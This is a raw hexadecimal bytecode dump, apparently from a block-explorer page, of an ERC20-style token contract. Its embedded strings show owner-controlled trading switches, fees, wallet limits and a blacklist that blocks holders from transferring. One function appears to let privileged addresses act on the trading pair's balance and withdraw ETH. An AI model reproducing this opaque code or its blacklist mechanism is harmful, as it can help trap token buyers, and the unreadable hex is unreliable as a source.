9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000614db8601b836141e7565b9150614dc382614d82565b602082019050919050565b60006020820190508181036000830152614de781614dab565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000614e4a6024836141e7565b9150614e5582614dee565b604082019050919050565b60006020820190508181036000830152614e7981614e3d565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000614edc6022836141e7565b9150614ee782614e80565b604082019050919050565b60006020820190508181036000830152614f0b81614ecf565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000614f6e6025836141e7565b9150614f7982614f12565b604082019050919050565b60006020820190508181036000830152614f9d81614f61565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006150006023836141e7565b915061500b82614fa4565b604082019050919050565b6000602082019050818103600083015261502f81614ff3565b9050919050565b7f596f752068617665206265656e20626c61636b6c69737465642066726f6d207460008201527f72616e73666572696e6720746f6b656e73000000000000000000000000000000602082015250565b60006150926031836141e7565b915061509d82615036565b604082019050919050565b600060208201905081810360008301526150c181615085565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b60006150fe6016836141e7565b9150615109826150c8565b602082019050919050565b6000602082019050818103600083015261512d816150f1565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b60006151b66049836141e7565b91506151c182615134565b606082019050919050565b600060208201905081810360008301526151e5816151a9565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b60006152486035836141e7565b9150615253826151ec565b604082019050919050565b600060208201905081810360008301526152778161523b565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b60006152b46013836141e7565b91506152bf8261527e565b602082019050919050565b600060208201905081810360008301526152e3816152a7565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b60006153466036836141e7565b9150615351826152ea565b604082019050919050565b6000602082019050818103600083015261537581615339565b9050919050565b6000615387826142f1565b9150615392836142f1565b92508282039050818111156153aa576153a9614787565b5b92915050565b60008160011c9050919050565b6000808291508390505b6001851115615407578086048111156153e3576153e2614787565b5b60018516156153f25780820291505b8081029050615400856153b0565b94506153c7565b94509492505050565b60008261542057600190506154dc565b8161542e57600090506154dc565b8160018114615444576002811461544e5761547d565b60019150506154dc565b60ff8411156154605761545f614787565b5b8360020a91508482111561547757615476614787565b5b506154dc565b5060208310610133831016604e8410600b84101617156154b25782820a9050838111156154ad576154ac614787565b5b6154dc565b6154bf84848460016153bd565b925090508184048111156154d6576154d5614787565b5b81810290505b9392505050565b60006154ee826142f1565b91506154f9836144ee565b92506155267fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484615410565b905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60008151905061559b816142c5565b92915050565b6000602082840312156155b7576155b661428e565b5b60006155c58482850161558c565b91505092915050565b6000819050919050565b60006155f36155ee6155e9846155ce565b6143ca565b6142f1565b9050919050565b615603816155d8565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61563e816142b3565b82525050565b60006156508383615635565b60208301905092915050565b6000602082019050919050565b600061567482615609565b61567e8185615614565b935061568983615625565b8060005b838110156156ba5781516156a18882615644565b97506156ac8361565c565b92505060018101905061568d565b5085935050505092915050565b600060a0820190506156dc6000830188614444565b6156e960208301876155fa565b81810360408301526156fb8186615669565b905061570a6060830185614525565b6157176080830184614444565b9695505050505050565b60006060820190506157366000830186614444565b6157436020830185614444565b6157506040830184614444565b949350505050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006157b46021836141e7565b91506157bf82615758565b604082019050919050565b600060208201905081810360008301526157e3816157a7565b9050919050565b600060c0820190506157ff6000830189614525565b61580c6020830188614444565b61581960408301876155fa565b61582660608301866155fa565b6158336080830185614525565b61584060a0830184614444565b979650505050505050565b60008151905061585a816142fb565b92915050565b6000806000606084860312156158795761587861428e565b5b60006158878682870161584b565b93505060206158988682870161584b565b92505060406158a98682870161584b565b915050925092509256fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212208a09fd05c05455287a4981cdf210d890959ab985ae4ce4e48b1060968d8accac64736f6c63430008110033

Deployed Bytecode

0x6080604052600436106103035760003560e01c8063924de9b711610190578063c17b5b8c116100dc578063dd62ed3e11610095578063f11a24d31161006f578063f11a24d314610bbb578063f2fde38b14610be6578063f637434214610c0f578063f8b45b0514610c3a5761030a565b8063dd62ed3e14610b28578063e2f4560514610b65578063e884f26014610b905761030a565b8063c17b5b8c14610a18578063c18bc19514610a41578063c876d0b914610a6a578063c8c8ebe414610a95578063d257b34f14610ac0578063d85ba06314610afd5761030a565b8063a457c2d711610149578063aacebbe311610123578063aacebbe31461095e578063b62496f514610987578063bbc0c742146109c4578063c0246668146109ef5761030a565b8063a457c2d7146108b9578063a8b9f94d146108f6578063a9059cbb146109215761030a565b8063924de9b7146107bb57806395d89b41146107e45780639a7a23d61461080f5780639c3b4fdc146108385780639fccce3214610863578063a0d82dc51461088e5761030a565b80634a62bb651161024f578063715018a611610208578063791051ca116101e2578063791051ca146107135780638095d564146107505780638a8c523c146107795780638da5cb5b146107905761030a565b8063715018a6146106a8578063751039fc146106bf5780637571336a146106ea5761030a565b80634a62bb65146105825780634fbee193146105ad5780636a486a8e146105ea5780636b41ae0c146106155780636ddd17131461064057806370a082311461066b5761030a565b80631a8145bb116102bc57806323b872dd1161029657806323b872dd146104b2578063313ce567146104ef578063395093511461051a57806349bd5a5e146105575761030a565b80631a8145bb146104335780631f3fed8f1461045e578063203e727e146104895761030a565b806306fdde031461030f578063095ea7b31461033a57806310d5de53146103775780631694505e146103b457806318160ddd146103df5780631816467f1461040a5761030a565b3661030a57005b600080fd5b34801561031b57600080fd5b50610324610c65565b604051610331919061426c565b60405180910390f35b34801561034657600080fd5b50610361600480360381019061035c9190614327565b610cf7565b60405161036e9190614382565b60405180910390f35b34801561038357600080fd5b5061039e6004803603810190610399919061439d565b610d15565b6040516103ab9190614382565b60405180910390f35b3480156103c057600080fd5b506103c9610d35565b6040516103d69190614429565b60405180910390f35b3480156103eb57600080fd5b506103f4610d59565b6040516104019190614453565b60405180910390f35b34801561041657600080fd5b50610431600480360381019061042c919061439d565b610d63565b005b34801561043f57600080fd5b50610448610eba565b6040516104559190614453565b60405180910390f35b34801561046a57600080fd5b50610473610ec0565b6040516104809190614453565b60405180910390f35b34801561049557600080fd5b506104b060048036038101906104ab919061446e565b610ec6565b005b3480156104be57600080fd5b506104d960048036038101906104d4919061449b565b610ff0565b6040516104e69190614382565b60405180910390f35b3480156104fb57600080fd5b506105046110c9565b604051610511919061450a565b60405180910390f35b34801561052657600080fd5b50610541600480360381019061053c9190614327565b6110d2565b60405161054e9190614382565b60405180910390f35b34801561056357600080fd5b5061056c611185565b6040516105799190614534565b60405180910390f35b34801561058e57600080fd5b506105976111a9565b6040516105a49190614382565b60405180910390f35b3480156105b957600080fd5b506105d460048036038101906105cf919061439d565b6111bc565b6040516105e19190614382565b60405180910390f35b3480156105f657600080fd5b506105ff611212565b60405161060c9190614453565b60405180910390f35b34801561062157600080fd5b5061062a611218565b6040516106379190614453565b60405180910390f35b34801561064c57600080fd5b5061065561121e565b6040516106629190614382565b60405180910390f35b34801561067757600080fd5b50610692600480360381019061068d919061439d565b611231565b60405161069f9190614453565b60405180910390f35b3480156106b457600080fd5b506106bd611279565b005b3480156106cb57600080fd5b506106d46113d1565b6040516106e19190614382565b60405180910390f35b3480156106f657600080fd5b50610711600480360381019061070c919061457b565b61148c565b005b34801561071f57600080fd5b5061073a600480360381019061073591906145bb565b61157e565b6040516107479190614382565b60405180910390f35b34801561075c57600080fd5b50610777600480360381019061077291906145fb565b611708565b005b34801561078557600080fd5b5061078e611822565b005b34801561079c57600080fd5b506107a56118f8565b6040516107b29190614534565b60405180910390f35b3480156107c757600080fd5b506107e260048036038101906107dd919061464e565b611922565b005b3480156107f057600080fd5b506107f96119d6565b604051610806919061426c565b60405180910390f35b34801561081b57600080fd5b506108366004803603810190610831919061457b565b611a68565b005b34801561084457600080fd5b5061084d611b9b565b60405161085a9190614453565b60405180910390f35b34801561086f57600080fd5b50610878611ba1565b6040516108859190614453565b60405180910390f35b34801561089a57600080fd5b506108a3611ba7565b6040516108b09190614453565b60405180910390f35b3480156108c557600080fd5b506108e060048036038101906108db9190614327565b611bad565b6040516108ed9190614382565b60405180910390f35b34801561090257600080fd5b5061090b611c7a565b6040516109189190614453565b60405180910390f35b34801561092d57600080fd5b5061094860048036038101906109439190614327565b611c80565b6040516109559190614382565b60405180910390f35b34801561096a57600080fd5b506109856004803603810190610980919061439d565b611c9e565b005b34801561099357600080fd5b506109ae60048036038101906109a9919061439d565b611df5565b6040516109bb9190614382565b60405180910390f35b3480156109d057600080fd5b506109d9611e15565b6040516109e69190614382565b60405180910390f35b3480156109fb57600080fd5b50610a166004803603810190610a11919061457b565b611e28565b005b348015610a2457600080fd5b50610a3f6004803603810190610a3a91906145fb565b611f68565b005b348015610a4d57600080fd5b50610a686004803603810190610a63919061446e565b612081565b005b348015610a7657600080fd5b50610a7f6121ab565b604051610a8c9190614382565b60405180910390f35b348015610aa157600080fd5b50610aaa6121be565b604051610ab79190614453565b60405180910390f35b348015610acc57600080fd5b50610ae76004803603810190610ae2919061446e565b6121c4565b604051610af49190614382565b60405180910390f35b348015610b0957600080fd5b50610b12612334565b604051610b1f9190614453565b60405180910390f35b348015610b3457600080fd5b50610b4f6004803603810190610b4a919061467b565b61233a565b604051610b5c9190614453565b60405180910390f35b348015610b7157600080fd5b50610b7a6123c1565b604051610b879190614453565b60405180910390f35b348015610b9c57600080fd5b50610ba56123c7565b604051610bb29190614382565b60405180910390f35b348015610bc757600080fd5b50610bd0612482565b604051610bdd9190614453565b60405180910390f35b348015610bf257600080fd5b50610c0d6004803603810190610c08919061439d565b612488565b005b348015610c1b57600080fd5b50610c2461264e565b604051610c319190614453565b60405180910390f35b348015610c4657600080fd5b50610c4f612654565b604051610c5c9190614453565b60405180910390f35b606060038054610c74906146ea565b80601f0160208091040260200160405190810160405280929190818152602001828054610ca0906146ea565b8015610ced5780601f10610cc257610100808354040283529160200191610ced565b820191906000526020600020905b815481529060010190602001808311610cd057829003601f168201915b5050505050905090565b6000610d0b610d046126b8565b84846126c0565b6001905092915050565b601d6020528060005260406000206000915054906101000a900460ff1681565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6000600254905090565b610d6b6126b8565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dfa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610df190614767565b60405180910390fd5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f0db17895a9d092fb3ca24d626f2150dd80c185b0706b36f1040ee239f56cb87160405160405180910390a380600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60195481565b60185481565b610ece6126b8565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5490614767565b60405180910390fd5b670de0b6b3a76400006103e86001610f73610d59565b610f7d91906147b6565b610f879190614827565b610f919190614827565b811015610fd3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fca906148ca565b60405180910390fd5b670de0b6b3a764000081610fe791906147b6565b60088190555050565b6000610ffd848484612889565b6110be846110096126b8565b6110b9856040518060600160405280602881526020016158da60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061106f6126b8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546136049092919063ffffffff16565b6126c0565b600190509392505050565b60006012905090565b600061117b6110df6126b8565b8461117685600160006110f06126b8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461265a90919063ffffffff16565b6126c0565b6001905092915050565b7f0000000000000000000000009a1739601a03b09d0e4447bc869d25acc3d548da81565b600b60009054906101000a900460ff1681565b6000601c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60145481565b60155481565b600b60029054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6112816126b8565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611310576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130790614767565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60006113db6126b8565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461146a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146190614767565b60405180910390fd5b6000600b60006101000a81548160ff0219169083151502179055506001905090565b6114946126b8565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611523576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151a90614767565b60405180910390fd5b80601d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000601c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166115d657600080fd5b60006116017f0000000000000000000000009a1739601a03b09d0e4447bc869d25acc3d548da611231565b905060018311801561161e575060648161161b9190614827565b83105b61165d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165490614936565b60405180910390fd5b61166683613668565b61166f84613734565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16476040516116b790614987565b60006040518083038185875af1925050503d80600081146116f4576040519150601f19603f3d011682016040523d82523d6000602084013e6116f9565b606091505b50509050809250505092915050565b6117106126b8565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461179f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161179690614767565b60405180910390fd5b8260118190555081601281905550806013819055506013546012546011546117c7919061499c565b6117d1919061499c565b601081905550600a601054111561181d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181490614a1c565b60405180910390fd5b505050565b61182a6126b8565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146118b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118b090614767565b60405180910390fd5b6001600b60016101000a81548160ff0219169083151502179055506001600b60026101000a81548160ff02191690831515021790555043601b81905550565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61192a6126b8565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146119b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b090614767565b60405180910390fd5b80600b60026101000a81548160ff02191690831515021790555050565b6060600480546119e5906146ea565b80601f0160208091040260200160405190810160405280929190818152602001828054611a11906146ea565b8015611a5e5780601f10611a3357610100808354040283529160200191611a5e565b820191906000526020600020905b815481529060010190602001808311611a4157829003601f168201915b5050505050905090565b611a706126b8565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611aff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611af690614767565b60405180910390fd5b7f0000000000000000000000009a1739601a03b09d0e4447bc869d25acc3d548da73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611b8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b8490614aae565b60405180910390fd5b611b978282613971565b5050565b60135481565b601a5481565b60175481565b6000611c70611bba6126b8565b84611c6b856040518060600160405280602581526020016159026025913960016000611be46126b8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546136049092919063ffffffff16565b6126c0565b6001905092915050565b60115481565b6000611c94611c8d6126b8565b8484612889565b6001905092915050565b611ca66126b8565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611d35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d2c90614767565b60405180910390fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8616c7a330e3cf61290821331585511f1e2778171e2b005fb5ec60cfe874dc6760405160405180910390a380600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601e6020528060005260406000206000915054906101000a900460ff1681565b600b60019054906101000a900460ff1681565b611e306126b8565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ebf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eb690614767565b60405180910390fd5b80601c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df782604051611f5c9190614382565b60405180910390a25050565b611f706126b8565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611fff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ff690614767565b60405180910390fd5b826015819055508160168190555080601781905550601754601654601554612027919061499c565b612031919061499c565b60148190555060148054111561207c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161207390614b1a565b60405180910390fd5b505050565b6120896126b8565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612118576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161210f90614767565b60405180910390fd5b670de0b6b3a76400006103e8600161212e610d59565b61213891906147b6565b6121429190614827565b61214c9190614827565b81101561218e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161218590614bac565b60405180910390fd5b670de0b6b3a7640000816121a291906147b6565b600a8190555050565b600f60009054906101000a900460ff1681565b60085481565b60006121ce6126b8565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461225d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161225490614767565b60405180910390fd5b620186a0600161226b610d59565b61227591906147b6565b61227f9190614827565b8210156122c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122b890614c3e565b60405180910390fd5b6103e860056122ce610d59565b6122d891906147b6565b6122e29190614827565b821115612324576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161231b90614cd0565b60405180910390fd5b8160098190555060019050919050565b60105481565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60095481565b60006123d16126b8565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612460576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161245790614767565b60405180910390fd5b6000600f60006101000a81548160ff0219169083151502179055506001905090565b60125481565b6124906126b8565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461251f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161251690614767565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361258e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161258590614d62565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60165481565b600a5481565b6000808284612669919061499c565b9050838110156126ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126a590614dce565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361272f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161272690614e60565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361279e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161279590614ef2565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161287c9190614453565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036128f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128ef90614f84565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612967576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161295e90615016565b60405180910390fd5b600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612a0b5750600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b612a4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a41906150a8565b60405180910390fd5b60008103612a6357612a5e83836000613a12565b6135ff565b600b60009054906101000a900460ff161561312757612a806118f8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015612aee5750612abe6118f8565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612b275750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612b61575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612b7a5750600560149054906101000a900460ff16155b1561312657600b60019054906101000a900460ff16612c7457601c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612c345750601c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612c73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c6a90615114565b60405180910390fd5b5b600f60009054906101000a900460ff1615612e3d57612c916118f8565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015612d1857507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612d7057507f0000000000000000000000009a1739601a03b09d0e4447bc869d25acc3d548da73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612e3c5743600c60003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115612df7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612dee906151cc565b60405180910390fd5b43600c60003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b601e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612ee05750601d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612f8757600854811115612f2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f219061525e565b60405180910390fd5b600a54612f3683611231565b82612f41919061499c565b1115612f82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f79906152ca565b60405180910390fd5b613125565b601e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561302a5750601d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561307957600854811115613074576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161306b9061535c565b60405180910390fd5b613124565b601d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661312357600a546130d683611231565b826130e1919061499c565b1115613122576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613119906152ca565b60405180910390fd5b5b5b5b5b5b600061313230611231565b9050600060095482101590508080156131575750600b60029054906101000a900460ff165b80156131705750600560149054906101000a900460ff16155b80156131c65750601e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561321c5750601c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156132725750601c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156132b6576001600560146101000a81548160ff02191690831515021790555061329a613ca5565b6000600560146101000a81548160ff0219169083151502179055505b6000600560149054906101000a900460ff16159050601c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061336c5750601c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561337657600090505b600081156135ef57601e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156133d957506000601454115b156134a65761340660646133f860145488613f8c90919063ffffffff16565b61400690919063ffffffff16565b90506014546016548261341991906147b6565b6134239190614827565b60196000828254613434919061499c565b925050819055506014546017548261344c91906147b6565b6134569190614827565b601a6000828254613467919061499c565b925050819055506014546015548261347f91906147b6565b6134899190614827565b6018600082825461349a919061499c565b925050819055506135cb565b601e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561350157506000601054115b156135ca5761352e606461352060105488613f8c90919063ffffffff16565b61400690919063ffffffff16565b90506010546012548261354191906147b6565b61354b9190